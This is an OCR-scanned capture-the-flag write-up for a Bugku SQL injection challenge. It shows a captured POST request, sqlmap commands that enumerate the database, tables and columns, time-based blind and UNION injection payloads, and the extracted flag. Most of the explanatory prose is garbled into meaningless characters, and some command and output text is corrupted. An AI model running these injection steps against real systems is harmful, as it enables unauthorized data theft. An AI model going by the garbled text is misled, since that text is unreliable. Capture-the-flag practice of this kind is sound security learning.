bugku FSi . writeup

Accept? F 2019-07-25 1726:14 KA 122 KR
KR CTF sqimap

.
-

2BXEOITH
ITHER

sqlmap
1 BXE 0T 5
T REA
—. sqlmapfi# s

fEmacF Zi Hsqlimap ] LA Filbrew install sqimao%zs, WL T AR RN ZEERIY .

stonedeMacBook—-Pro:~ stone$ sglmap

1.3.7#stable

Usage: python2.7 sglmap [options]

1. BhREMANEFRALF1, Burp Suiteilll, 4RJ54 % Copy to file, FIXULRFF Fcheng;ji.txt

J Request T Response ]

J RawT Params T Headers T Hex ]

[POST /chengjidan/index.php HTTP/1l.1

Host: 123.206.87.240:8002

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+zml,application/xml;g=0.9,*/%;g=0.8
Accept-Language: zh-CW,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-05;g9=0.3,en;g=0.2
Locept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Connection: close

Referer: http://123.206.87.240:8002/chengjidan/

Upgrade-Insecure-Requests: 1

id=1

2. SEWEHAREELTR, B EIEELR sketf_flag
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sqlmap -r chengji.txt -p id --current-db

//-r INEFINEIREHI L HEchengji. txt
//-p BESH

SR

Parameter: id (POST)
Type: time-based blind

Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 45086 FROM (SELECT(SLEEP(5)))xzoJ) AND 'leGw'='leG

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns

Payload: i1id=-1483' UNION ALL SELECT NULL,CONCAT(@x717@6a6a71,0x466c515247417
86c6466474T71584e716b4d727a61646355697445556175444d6a50454564697157,0x717a7a7a71

) ,NULL,NULL-- oDzd

[ ] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12

L 1_LIh nt database
Eurrent database: 'skctf_flag'
€ =i ogged to text files under '

[*] ending @ 16:51:24 /2019-87-25/

stonedeMacBook—Pro:chengji stone$ I

™

3. MERBIMEIEFEL, WREEFERS, BELAEMAIEAg. sc

sqlmap -r chengji.txt -p id -D skctf_flag --tables

//-D ¥ EBEELK
//--tables FIHHHEER

[ 1 [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12

[ ] [INFO] fetching tables for database: '

[ 1 [INFO] used SQL query returns 2 entries
([ 1 [INFO] retrieved: '

[ ] [INFO] retrieved: '-¢'

:Database: skctf_flag
4 [2 tables]

4, —H T RflagfEfldg®Rd, TR ERT T



sqlmap -r chengji.txt -p id -D skctf_flag -T fl4g --columns

Database: skctf_flag
Table: fla4g
[1 column]

| Column | Type |

| skctf_flag | varchar(64) |

5. #Eskctf_flaghf

[ ] [INFO] adjusting time delay to 1 second due to good response times
BUGKU{Sql_INJECTON_4813drd8hz4}

Database: skctf_flag

Table: fl4ag

[1 entry]

+- :

| skctf_flag |
+- :
| BUGKU{Sql_INJECTON_4813drd8hz4} |
+- :
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